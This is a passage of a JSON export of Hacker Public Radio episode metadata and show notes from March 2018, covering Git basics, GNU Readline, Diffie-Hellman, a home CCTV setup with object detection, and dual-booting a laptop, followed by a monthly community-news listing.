                                                            \n

                                                            So there’s a potted history of how I got into podcasting.

                                                            \n

                                                            Beyond The Bugcast

                                                            \n

                                                            Outside the realms of The Bugcast, which is still my primary podcast:

                                                            \n
                                                              \n
                                                            • I’m a contributor to CCJam - a short-form community podcast which focuses on music
                                                            • \n
                                                            • I’m one of the co-hosts of TuxJam - Linux news with Creative Commons music
                                                            • \n
                                                            • I’m one of the co-hosts of the Duffercast
                                                            • \n
                                                            • I’m an irregular contributor to HPR, as you’ll probably already know
                                                            • \n
                                                            • I’m just become the producer of the Admin Admin podcast - my first producer-only gig
                                                            • \n
                                                            \n

                                                            Also ran:

                                                            \n
                                                              \n
                                                            • I’m the “owner” (if you like) of the Made In The UK Show - currently on haitus
                                                            • \n
                                                            • I’m one of the co-hosts of Crivins - currently on haitus
                                                            • \n
                                                            \n

                                                            I’m always happy to answer any questions or provide help with regard to podcasting, you can find various ways to find me over at my Contact page

                                                            \n

                                                            Thanks for listening! :-)

                                                            \n","hostid":314,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"podcasting, anniversary, history, journey","version":0,"downloads":0,"valid":1}, {"id":2504,"date":"2018-03-08","title":"Intro to Git with pen and paper","duration":2205,"summary":"Klaatu introduces Git using pen and paper.","notes":"
                                                            git add\n\ngit commit -m "some useful message"\n\ngit push origin HEAD
                                                            \n","hostid":78,"series":104,"explicit":0,"license":"CC-BY-SA","tags":"git","version":0,"downloads":0,"valid":1}, {"id":2505,"date":"2018-03-09","title":"The power of GNU Readline - part 3","duration":1631,"summary":"More useful key combinations","notes":"

                                                            The power of GNU Readline - part 3

                                                            \n

                                                            In part 2 we looked at deleting text in various ways and pasting it back, using GNU Readline key sequences.

                                                            \n

                                                            The full-length notes (available here) contain some new terms and features of GNU Readline, and introduce some further ways of manipulating text, with some examples.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":102,"explicit":1,"license":"CC-BY-SA","tags":"command line,cli,GNU Readline","version":0,"downloads":0,"valid":1}, {"id":2506,"date":"2018-03-12","title":"Build Your Own Lisp (A Book Review)","duration":544,"summary":"Learn C programming while building a LISP","notes":"

                                                            Build Your Own Lisp

                                                            \n
                                                              \n
                                                            1. https://www.buildyourownlisp.com/

                                                            2. \n
                                                            3. https://github.com/orangeduck/BuildYourOwnLisp

                                                            4. \n
                                                            5. Daniel Holden links:
                                                              \nhttps://github.com/orangeduck
                                                              \nhttps://www.theorangeduck.com/

                                                            6. \n
                                                            ","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"programming,C,Lisp,book review","version":0,"downloads":0,"valid":1}, {"id":2507,"date":"2018-03-13","title":"Racket, Nix, Fractalide and the sounds of a Hong Kong New Town","duration":1127,"summary":"It's a triple whammy! It's functional programming, functional package management and soundscape!","notes":"

                                                            Listen to me walk through five shopping malls and one bicycle tunnel, as I rant about how flow-based programming microservices and functional package management will save the future of programming and software reuse, and usher in a new era of software quality and productivity!

                                                            \n

                                                            If it sounds like I'm a bit down about working alone on racket2nix, you're interpreting me wrong! I didn't expect any feedback at all from the small to non-existent racket/nix intersection, but it turns out the intersection is larger than I thought, and I'm grateful for any words of encouragement, and feedback in any form on what the community needs.

                                                            \n

                                                            Links:

                                                            \n\n

                                                            Nix is the mother of Guix:

                                                            \n\n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"racket, nix, racket2nix, fractalide, soundscape, hongkong","version":0,"downloads":0,"valid":1}, {"id":2508,"date":"2018-03-14","title":"False Prophets","duration":550,"summary":"Lostnbronx considers how a cult-of-personality may affect space exploration.","notes":"

                                                            Lostnbronx considers the effect that Elon Musk and SpaceX are having on the latest push for the exploitation and exploration of space, and the danger of pegging the future of the human race upon the showmanship of one man.

                                                            ","hostid":107,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"space,spacex,elon musk,tesla,electric cars,cult-of-personality,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2509,"date":"2018-03-15","title":"AudioBookClub 16 Matcher Rules","duration":7171,"summary":"The HPR Audiobook Club reviews Matcher Rules by Mary Holland","notes":"

                                                            SUMMARY

                                                            \n

                                                            In this episode, the HPR_AudioBookClub discusses Matcher Rules by Mary Holland https://scribl.com/books/PDB66/matcher-rules

                                                            \n

                                                            NON-SPOILER THOUGHTS

                                                            \n
                                                              \n
                                                            • pokey: An enjoyable story, but not really for me.
                                                            • \n
                                                            • FiftyOneFifty: It's not about orgies...
                                                            • \n
                                                            • x1101: Liked it. A little slow.
                                                            • \n
                                                            • Thaj: It surprised me, I didn't expect to like it as much as I did.
                                                            • \n
                                                            \n

                                                            BEVERAGE REVIEWS

                                                            \n

                                                            As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode

                                                            \n\n

                                                            THINGS WE TALKED ABOUT

                                                            \n

                                                            We discuss the upsides and downsides of affinity groups. Pokey wonders why terminology for simple things are changed in sci-fi stories. How exactly do population and economics work together?

                                                            \n

                                                            OUR NEXT AUDIOBOOK

                                                            \n

                                                            Blood Witness by David Hitt - https://scribl.com/books/PA513/blood-witness

                                                            \n

                                                            NEXT RECORDING

                                                            \n

                                                            We are currently working through a backlog of pre-recorded episodes. Once this is completed we will restart the Audiobook Club again. If you want to be notified when this happens please let us know via the HPR Mailing List 'hpr at hackerpublicradio dot org'.

                                                            \n

                                                            FURTHER RECOMMENDATIONS

                                                            \n

                                                            Nothing this time, well except for the typical Star Wars reference...and Star Trek, and comics.

                                                            \n

                                                            FEEDBACK

                                                            \n

                                                            Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time. Please leave a few words in the episode's comment section. As always; remember to visit the HPR contribution page HPR could really use your help right now. https://hackerpublicradio.org/contribute.php

                                                            \n

                                                            Sincerely,
                                                            \nThe HPR_AudioBookClub

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n

                                                            OUR AUDIO

                                                            \n

                                                            This episode was processed using Audacity https://audacity.sourceforge.net. We've been making small adjustments to our audio mix each month in order to get the best possible sound. It has been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it's not good at making everyone's voice the same volume. We're pretty happy with the way this month's show turned out, so we'd like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz so the first step in our audio process is to resample the file at 44.1kHz. Resampling can take a long time if you don't have a powerful computer, and sometimes even if you do. If you record late at night, like we do, you may want to start the task before you go to bed, and save it first thing in the morning, so that the file is ready to go the next time you are.

                                                            \n

                                                            Next we use the "Compressor" effect with the following settings:

                                                            \n

                                                            Threshold: -30db
                                                            \nNoise Floor: -50db
                                                            \nRatio: 3:1
                                                            \nAttack Time: 0.2sec
                                                            \nDecay Time: 1.0 sec
                                                            \nMake-up Gain for 0db after compressing" and "compress based on peaks" were both left un-checked.

                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file's metadata. We use the "Truncate Silence" effect with its default settings to minimize the silence between people speaking. When used with its default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying "uuuuummmm." Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too agressively your audio may sound sped up and choppy.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can "Mix and Render" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being "crashy" but if you remember save after every major transform, you will wonder how it even got that reputation.

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR Audiobook Club, Audiobooks, Podiobooks, Science Fiction ","version":0,"downloads":0,"valid":1}, {"id":2510,"date":"2018-03-16","title":"26 - Diffie-Hellman-Merkle Key Exchange","duration":1231,"summary":"A basic explanation of how Diffie-Hellman-Merkle Key Exchange works","notes":"

                                                            Diffie-Hellman Key Exchange is based on work initially done by Ralph Merkle, and remains one of the key developments in secure communication over the Internet. In this episode I try to explain just how this works, with an example of a calculated key exchange.

                                                            \n

                                                            For more go to https://www.zwilnik.com/?page_id=955

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Diffie-Hellman, Encryption","version":0,"downloads":0,"valid":1}, {"id":2511,"date":"2018-03-19","title":"Response to episode 2496","duration":419,"summary":"How I am using the Raspberry Pi script discussed Episode 2496","notes":"

                                                            Links

                                                            \n\n

                                                            Command

                                                            \n

                                                            This is written for fish shell

                                                            \n
                                                            for pi in pi1 pi2 pi3 pi4; cat what_pi | ssh "$pi" bash -; done
                                                            ","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi, RPi","version":0,"downloads":0,"valid":1}, {"id":2512,"date":"2018-03-20","title":"Intro to git remote","duration":1590,"summary":"All about git remote","notes":"

                                                            \nInstantiate a git repo:\n

                                                            \n\n
                                                            \n$ mkdir alice\n$ cd !$\n$ git init\n
                                                            \n\n

                                                            \nAdd a remote:\n

                                                            \n\n
                                                            \n$ git remote add origin URI_OF_REMOTE\n
                                                            \n\n

                                                            \nChange a remote:\n

                                                            \n\n
                                                            \n$ git remote set-url origin NEW_URI\n
                                                            \n\n

                                                            \nA remote can be a server, it can be a local directory, an NFS share, pretty much whatever you want.\n

                                                            \n

                                                            \nIt is a Git convention that the primary remote is called origin. You don't have to call it that, but it's pretty common.\n

                                                            \n","hostid":78,"series":104,"explicit":0,"license":"CC-BY-SA","tags":"git, remote, server","version":0,"downloads":0,"valid":1}, {"id":2513,"date":"2018-03-21","title":"Why I choose Aperture first","duration":723,"summary":"David Whitman encourages you to choose Aperture as the most important setting in setting up your cam","notes":"

                                                            David Whitman encourages you to choose Aperture as the most important setting in setting up your camera.

                                                            \n

                                                            Understanding Exposure, 3rd Edition by Bryan Peterson - a good book that is great for learning photography. Duck Duck Go can connect you with a place to buy this book.

                                                            \n

                                                            David's cache of BAD Photos mostly of Hunt Dogs (some cute girls with dogs too) https://drive.google.com/open?id=0B0VQmm3RmAmeTVVQdUhuaGVkTVU

                                                            \n\n

                                                            Have some fun. Take some photos and do a HPR episode.

                                                            ","hostid":209,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Photography, Cameras, ISO, Aperture, Shutter Speed","version":0,"downloads":0,"valid":1}, {"id":2514,"date":"2018-03-22","title":"Electronics Calculator Kit","duration":2006,"summary":"NYbill talks about building a $16 electronics calculator kit.","notes":"

                                                            \nNYbill talks about building a $16 electronics calculator kit.\n

                                                            \n

                                                            \nKkmoon DIY Calculator Kit: https://tinyurl.com/yc9z92pc\n

                                                            \n

                                                            \nPics for the episode: https://media.gunmonkeynet.net/u/nybill/collection/electronics-calculator-kit/\n

                                                            \n

                                                            Just to save anyone from searching for some secret mode on their\ncalculators, I misspoke. I mention using my TI calculator in “Degree Mode”.\nI meant to say “Normal Mode”. It just happens to say DEG on the screen in tiny\nletters. What can I say, I’m easily distra

                                                            \n

                                                            Oh look at that!

                                                            \n \n","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"Electronics, Kits, Soldering, DIY","version":0,"downloads":0,"valid":1}, {"id":2515,"date":"2018-03-23","title":"2017-2018 New Years Eve show part 2","duration":10169,"summary":"Part two of the sixth annual HPR New Year Show.","notes":"

                                                            HPR NYE 2017 - 2

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR new year show 2017","version":0,"downloads":0,"valid":1}, {"id":2516,"date":"2018-03-26","title":"Intro to git branch","duration":2635,"summary":"Intro to git branch","notes":"

                                                            \nThese are all the commands covered in this episode. This is not a sequence, it's just all the commands in the episode, listed one after another.\n

                                                            \n\n

                                                            \nGet changes from the remote repo:\n

                                                            \n
                                                            \n$ git fetch\n
                                                            \n\n

                                                            \nSee all branches:\n

                                                            \n
                                                            \n$ git branch --all\n
                                                            \n\n

                                                            \nView a remote branch after you have fetched it:\n

                                                            \n
                                                            \n$ git checkout origin/dev\n
                                                            \n\n

                                                            \nCreate a copy of a fetched remote branch in your local repo:\n

                                                            \n
                                                            \n$ git checkout dev\n
                                                            \n\n

                                                            \nMerge changes from remote origin/master into your local master branch:\n

                                                            \n
                                                            \n$ git merge master origin/master\n
                                                            \n\n

                                                            \nFetch and merge automatically:\n

                                                            \n
                                                            \n$ git pull\n
                                                            \n\n

                                                            \nCreate a new branch, and change to it:\n

                                                            \n
                                                            \n$ git checkout -b dev\n
                                                            \n\n

                                                            \nMerge dev into master:\n

                                                            \n
                                                            \n$ git checkout master\n$ git merge master dev\n
                                                            \n\n

                                                            \nMerge master into dev\n

                                                            \n
                                                            \n$ git checkout dev\n$ git merge dev master\n
                                                            \n\n

                                                            \nDelete the dev branch:\n

                                                            \n
                                                            \n$ git branch -d dev\n
                                                            \n","hostid":78,"series":104,"explicit":0,"license":"CC-BY-SA","tags":"git, branch, server","version":0,"downloads":0,"valid":1}, {"id":2517,"date":"2018-03-27","title":"DIY CCTV Security System","duration":940,"summary":"I go over my Home CCTV setup","notes":"

                                                            CCTV Security System

                                                            \n
                                                              \n
                                                            • $80 Reolink IP PoE Security Camera 4MP Super HD 2560x1440 with SD Card & Audio Outdoor Indoor Bullet IR Night Vision Motion Detection RLC-410S
                                                            • \n
                                                            • 65$ RLC-410 ( No SD CARD )
                                                            • \n
                                                            • $150 Linksys Business LGS116P 16-Port Desktop Gigabit Ethernet PoE+ Unmanaged Network Switch I Metal Enclosure $150
                                                            • \n
                                                            • Ispy to start
                                                            • \n
                                                            • https://forums.zoneminder.com/viewtopic.php?f=36&t=26906 115 lines of bash
                                                            • \n
                                                            • When event ends on ZM yolo is run on a random 10 images for that event (Person Dog Cat Car)
                                                            • \n
                                                            • if an object is detected we look to see if two Android phones via MAC on network
                                                            • \n
                                                            • if they are on the network it means somebody is home so events are throttled to 1/1hr max
                                                            • \n
                                                            • if nobody is home then original image/object detected from event is sent to email
                                                            • \n
                                                            • zones
                                                            • \n
                                                            • zones preclusion
                                                            • \n
                                                            • Video https://rmccurdy.com/scripts/videos/rmccurdy_com/ZoneMinder_Yolo_Yolov2_Darknet_Script_Plugin.mp4
                                                            • \n
                                                            \n

                                                            Issues:

                                                            \n
                                                              \n
                                                            • rain, spiderwebs, shadows, Car lights (preclusion zones)
                                                            • \n
                                                            • full motion capture is -6hrs 16gig
                                                            • \n
                                                            • smearing ( lower FPS on cam and make sure ZM has higher framerate then the cam make sure not to use Source Type:ffmpeg and use remote or try both)
                                                            • \n
                                                            • journalctl -f -t DARKNET.service (shows nothing...@#%ing systemd)
                                                            • \n
                                                            • night time
                                                            • \n
                                                            \n

                                                            More Notes:

                                                            \n

                                                            Start with one zone at a time and raise/test sensitive KISS...don't setup like 4 zones and expect to trouble shoot anything. I used my Android to do a lot of tweaking. I also want to sort out "night" mode config so after night mode kicks in a different config is automatically applied.

                                                            \n

                                                            Use low quality for motion detection and drop frame rate of cam to lower than max of ZM for little to no smearing and I also set "Alarm Frame Count to 2" and "overload ignore frame count to 4" but I think it's more about Alarm Frame Count..I can't be sure..

                                                            \n

                                                            Explanation of overload ignore frame count
                                                            \nReport this post Quote
                                                            \nPost by bb99 » Thu May 10, 2012 5:22 pm

                                                            \n

                                                            For sudden changes to the environment, no better tool then Overload Frame Ignore Count. Your fps determines these settings but at 10 fps with Overload Frame Ignore Count set to 4, it only ignores .4 seconds. In other words if a drastic change to the lighting (such as a car with headlights on in darkness) passes within the monitors view it will ignore the number of frames you specify before processing for motion detection.

                                                            \n

                                                            Alarm Frame Count

                                                            \n

                                                            This option allows you to specify how many consecutive alarm frames must occur before an alarm event is generated. The usual, and default, value is 1 which implies that any alarm frame will cause or participate in an event. You can enter any value up to 16 here to eliminate bogus events caused perhaps by screen flickers or other transients. Values over 3 or 4 are unlikely to be useful however. Please note that if you have statistics recording enabled then currently statistics are not recorded for the first ‘Alarm Frame Count’-1 frames of an event. So if you set this value to 5 then the first 4 frames will be missing statistics whereas the more usual value of 1 will ensure that all alarm frames have statistics recorded.

                                                            \n

                                                            https://forums.zoneminder.com/viewtopic.php?f=36&t=26222

                                                            \n

                                                            Windows software to get basic idea ( install face plugin )
                                                            \nhttps://www.ispyconnect.com/plugins.aspx

                                                            \n

                                                            Videos

                                                            \n\n

                                                            eazy getting started

                                                            \n\n

                                                            getting started with GPU

                                                            \n

                                                            you need 4gig+ GPU and new nvidia or old GCC4.9 /GCC4_NEEDED_FOR_DARKNET$ ls cpp-4.9_4.9.2-10_amd64.deb gcc-4.9_4.9.2-10_amd64.deb libasan1_4.9.2-10_amd64.deb libcloog-isl-dev_0.18.2-1+b2_amd64.deb libisl10_0.12.2-2_amd64.deb g++-4.9_4.9.2-10_amd64.deb gcc-4.9-base_4.9.2-10_amd64.deb libcloog-isl4_0.18.2-1+b2_amd64.deb libgcc-4.9-dev_4.9.2-10_amd64.deb libstdc++-4.9-dev_4.9.2-10_amd64.deb https://github.com/dasGringuen/debian9-install

                                                            \n

                                                            GPU memory talk

                                                            \n

                                                            https://groups.google.com/forum/#!msg/darknet/ZRAEvMmKzFc/iVZgibJiJQAJ

                                                            \n

                                                            trying to GPU prep ..

                                                            \n
                                                            apt-get remove --purge nvidia-cuda-toolkit libcudnn*\ndpkg -i libcudnn7_7.0.5.15-1+cuda9.1_amd64.deb\ndpkg -i libcudnn7-dev_7.0.5.15-1+cuda9.1_amd64.deb\ndpkg -i cuda-repo-ubuntu1704-9-1-local_9.1.85-1_amd64\n\nsudo dpkg -i cuda-repo-ubuntu1704-9-1-local_9.1.85-1_amd64.deb\nsudo apt-key add /var/cuda-repo-9-1-local/7fa2af80.pub\nsudo apt-get update\nsudo apt-get install cuda\n\napt install libopencv-dev
                                                            \n

                                                            more code/ references

                                                            \n\n

                                                            yolov2 training

                                                            \n\n\n
                                                            ffmpeg -c:v h264_vdpau -rtsp_transport tcp -i "rtsp://admin:@25.0.0.238/h264Preview_01_main" -f segment -segment_time 60 -segment_format mp4  -reset_timestamps 1 -strftime 1 -c copy -map 0 dauphine-%Y%m%d-%H%M%S.mp4\n\nffmpeg -hwaccel vdpau -i rtsp://admin:@25.0.0.238/h264Preview_01_main -an -f rawvideo -y /dev/null
                                                            \n

                                                            complicated zoneminder plugins and bits of code :(

                                                            \n\n

                                                            cheap cams 720p max

                                                            \n\n

                                                            Save as video

                                                            \n

                                                            By default ZoneMinder saves events as a sequence of images. It is however possible to save an event as a video file. Caution is advised when converting events to video as it is very strenuous on the ZoneMinder machine, however once you have converted an event it can be viewed/downloaded any time without additional stress on the server.

                                                            \n

                                                            First, make sure you have OPT_FFMPEG under Options -> Images set to yes (checked).

                                                            \n

                                                            If necessary, set the proper full path for the ffmpeg executable in PATH_FFMPEG (ex.: /usr/bin/ffmpeg)

                                                            \n

                                                            Open up the default view for an event and Click the video link located in the top left corner

                                                            \n

                                                            Choose a video export file type and click generate.

                                                            \n

                                                            Download the video to your machine. If video files have already been generated you will see them listed at the bottom of the page.

                                                            \n

                                                            When an event gets a video file encoded for it you can choose to automatically include that event with any future exports. For a more detailed explanation on how to select and export events investigate How to export download and view events

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CCTV,Security Camera System,YOLO,Object Recognition","version":0,"downloads":0,"valid":1}, {"id":2518,"date":"2018-03-28","title":"Converting My Laptop to Dual Boot","duration":1440,"summary":"Converting a Linux only laptop to dual boot using information from a previous HPR episode.","notes":"

                                                            Converting My Laptop to Dual Boot

                                                            \n

                                                            Summary

                                                            \n

                                                            In this episode I describe how I converted my Linux-only laptop to dual-boot with Windows 10. Specifically, using information from a previous HPR episode.

                                                            \n

                                                            Reference

                                                            \n

                                                            The procedure used in this project drew heavily from the information presented in HPR episode 2305 by Mongo.

                                                            \n

                                                            Target Laptop

                                                            \n
                                                              \n
                                                            • Lenovo Thinkpad T550
                                                            • \n
                                                            • Intel i7-5600U Dual-Core
                                                            • \n
                                                            • 8GB RAM
                                                            • \n
                                                            • 256GB SSD
                                                            • \n
                                                            \n

                                                            Laptop was purchased in Jan 2016 as a factory refurb unit from an Ebay seller. The model was about 1 year old at the time. As soon as I got it, I summarily removed any trace of Windows, with prejudice, and installed Linux.

                                                            \n

                                                            The Problem

                                                            \n

                                                            I am needing to run some Windows software that doesn't work in either Wine or a virtual machine environment. Specifically Autodesk Fusion 360.

                                                            \n

                                                            Some Challenges

                                                            \n
                                                              \n
                                                            • No longer have Windows install media. I was able to download a Lenovo recovery USB image.

                                                              \n

                                                              https://support.lenovo.com/us/en/solutions/ht103653

                                                            • \n
                                                            • I didn't think that a 256GB drive would be big enough for both Linux and Windows. I purchased a 512GB SSD drive.

                                                            • \n
                                                            • I was happy with my Xubuntu setup and configuration and didn't want to have to start all over on that. I hoped that restoring my home directory would take care of that.

                                                            • \n
                                                            \n

                                                            The Procedure

                                                            \n
                                                              \n
                                                            1. Backed up my home directory, just in case.

                                                            2. \n
                                                            3. Replaced the hard drive.

                                                            4. \n
                                                            5. Tried to boot from Lenovo Windows thumb drive.

                                                            6. \n
                                                            7. Found that the BIOS was set to legacy mode, so reset BIOS to factory.

                                                            8. \n
                                                            9. Told the installer to use the entire drive.

                                                            10. \n
                                                            11. Went through the entire Windows install and update process.

                                                            12. \n
                                                            13. Used the instructions provided by Mongo to resize Windows filesystem size.

                                                            14. \n
                                                            15. Used the instructions provided by Mongo to turn of fast boot.

                                                            16. \n
                                                            17. Used the instructions provided by Mongo to turn of Secure Boot in BIOS.

                                                            18. \n
                                                            19. Booted from Xubuntu 16.04 thumb drive.

                                                            20. \n
                                                            21. Did Xubuntu install as normal, choosing the install type of installing along side Windows Boot Manager.

                                                            22. \n
                                                            23. Installed all of the updates.

                                                            24. \n
                                                            25. Mounted the old hard drive with a USB drive enclosure, which was a bit of a challenge because that drive was encrypted. The drive has 2 partitions. A small boot partition and then a large LUKS encrypted partition.

                                                              \n

                                                              This is a procedure that can be used to mount such a partition.

                                                              \n
                                                                \n
                                                              • First you must decrypt the partition and map it to a device. This can be done with the following command (assuming the partition mount point is /dev/sdb2):

                                                                \n
                                                                cryptsetup luksOpen /dev/sdb2 cryptdrive
                                                                \n

                                                                This command will map the partition to the following device:

                                                                \n
                                                                /dev/mapper/cryptdrive
                                                              • \n
                                                              • Normally you could then mount the filesystem as follows:

                                                                \n
                                                                mount /dev/mapper/cryptdrive /mnt
                                                              • \n
                                                              • However, in this case the encrypted filesystem is actually an LVM volume that contains two volume groups that made up the partitions of the previous Linux install, so you can't directly mount it.

                                                              • \n
                                                              • I had to first install the LVM tools, which had not been installed by default.

                                                                \n
                                                                apt-get install lvm
                                                              • \n
                                                              • Then I had to issue the following command to activate the LVM volume groups.

                                                                \n
                                                                vgchange -ay
                                                                \n

                                                                That resulted in two more devices being created.

                                                                \n
                                                                /dev/xubuntu-vg/swap\n/dev/xubuntu-vg/root
                                                              • \n
                                                              • I could then finally mount the old root filesystem with:

                                                                \n
                                                                mount /dev/xubuntu-vg/root /mnt
                                                              • \n
                                                            26. \n
                                                            27. Copied by entire home directory from the old hard drive to the new install.

                                                              \n
                                                              cd /home\ncp -rp /mnt/home/username .
                                                            28. \n
                                                            29. Rebooted computer and Xubuntu came up will all of my desktop settings intact. Just need to install non-default packages.

                                                            30. \n
                                                            \n

                                                            Result

                                                            \n

                                                            This ended up being a totally successful process. The computer is now dual-boot. It boots into Xubuntu by default, but you can choose Windows. Xubuntu system is mostly restored back to the way it was.

                                                            \n","hostid":334,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux, Windows, Dual Boot, Laptop, Lenovo, Xubuntu","version":0,"downloads":0,"valid":1}, {"id":2519,"date":"2018-03-29","title":"the_remora Builds a character in Edge of the Empire","duration":1330,"summary":"I Sit down and Build a Character for Edge of the Empire using Oggdudes Character Generator","notes":"\n

                                                            Thanks and sorry the Audio was so bad, I was forced to use Bluetooth headphones because Audacity would not take audio from my USB headset.

                                                            ","hostid":363,"series":95,"explicit":1,"license":"CC-BY-SA","tags":"Roleplaying","version":0,"downloads":0,"valid":1}, {"id":2520,"date":"2018-03-30","title":"Diffie-Hellman and Forward Secrecy","duration":1061,"summary":"Using Diffie-Hellman Key Exchange to implement Forward Secrecy","notes":"

                                                            Diffie-Hellman Key Exchange is used in a security technique called Forward Secrecy that aims to secure your encrypted communications from future decryption by unauthorized entities. While it does provide additional security it is not absolutely bullet-proof. So while we explain how it works and provides security, we will also discuss how it can go wrong. For more go to https://www.zwilnik.com/?page_id=957

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"Diffie-Hellman, Encryption, Forward Secrecy","version":0,"downloads":0,"valid":1}, {"id":2521,"date":"2018-04-02","title":"HPR Community News for March 2018","duration":3923,"summary":"HPR Volunteers talk about shows released and comments posted in March 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n the_remora.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2499Thu2018-03-01Tuning around the HF 40Mtr bandMrX
                                                            2500Fri2018-03-02What's In My Podcatcher 3Ahuka
                                                            2501Mon2018-03-05HPR Community News for February 2018HPR Volunteers
                                                            2502Tue2018-03-06Volume Of Thoughtlostnbronx
                                                            2503Wed2018-03-07My journey into podcastingthelovebug
                                                            2504Thu2018-03-08Intro to Git with pen and paperklaatu
                                                            2505Fri2018-03-09The power of GNU Readline - part 3Dave Morriss
                                                            2506Mon2018-03-12Build Your Own Lisp (A Book Review)Brian in Ohio
                                                            2507Tue2018-03-13Racket, Nix, Fractalide and the sounds of a Hong Kong New Townclacke
                                                            2508Wed2018-03-14False Prophetslostnbronx
                                                            2509Thu2018-03-15AudioBookClub 16 Matcher RulesHPR_AudioBookClub
                                                            2510Fri2018-03-1626 - Diffie-Hellman-Merkle Key ExchangeAhuka
                                                            2511Mon2018-03-19Response to episode 2496Mr. Young
                                                            2512Tue2018-03-20Intro to git remoteklaatu
                                                            2513Wed2018-03-21Why I choose Aperture firstDavid Whitman
                                                            2514Thu2018-03-22Electronics Calculator KitNYbill
                                                            2515Fri2018-03-23HPR 2017 New Years Eve show part 2Various Hosts
                                                            2516Mon2018-03-26Intro to git branchklaatu
                                                            2517Tue2018-03-27DIY CCTV Security Systemoperat0r
                                                            2518Wed2018-03-28Converting My Laptop to Dual BootSteve Saner
                                                            2519Thu2018-03-29the_remora Builds a character in Edge of the Empirethe_remora
                                                            2520Fri2018-03-30Diffie-Hellman and Forward SecrecyAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 34 comments in total.

                                                            \n

                                                            There are 5 comments on\n4 previous shows:

                                                            \n
                                                            • hpr2403\n(2017-10-18) \"Amateur Radio Round Table #3\"\nby Various Hosts.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKen Fallon on 2018-03-05:\n\"Waveform Site\"

                                                              \n
                                                            • hpr2453\n(2017-12-27) \"The power of GNU Readline - part 2\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nHipstre on 2018-03-31:\n\"GNU Readline 2\"

                                                              \n
                                                            • hpr2486\n(2018-02-12) \"Some stuff I bought at a recent amateur radio rally\"\nby MrX.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nDave Morriss on 2018-03-01:\n\"Quite a haul!\"
                                                              • \n
                                                              • \nComment 2:\nMrX on 2018-03-10:\n\"Re Quite a haul!\"

                                                              \n
                                                            • hpr2498\n(2018-02-28) \"Life without Google\"\nby Quvmoh.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nDraco Metallium on 2018-03-03:\n\"No more e-mails on my phone.\"

                                                              \n
                                                            \n

                                                            There are 29 comments on 12 of this month's shows:

                                                            \n
                                                            • hpr2499\n(2018-03-01) \"Tuning around the HF 40Mtr band\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMichael on 2018-03-06:\n\"Great show!\"
                                                              • Comment 2:\nMrX on 2018-03-10:\n\"re Great show!\"

                                                              \n
                                                            • hpr2500\n(2018-03-02) \"What's In My Podcatcher 3\"\nby Ahuka.
                                                            • \n
                                                            • \n
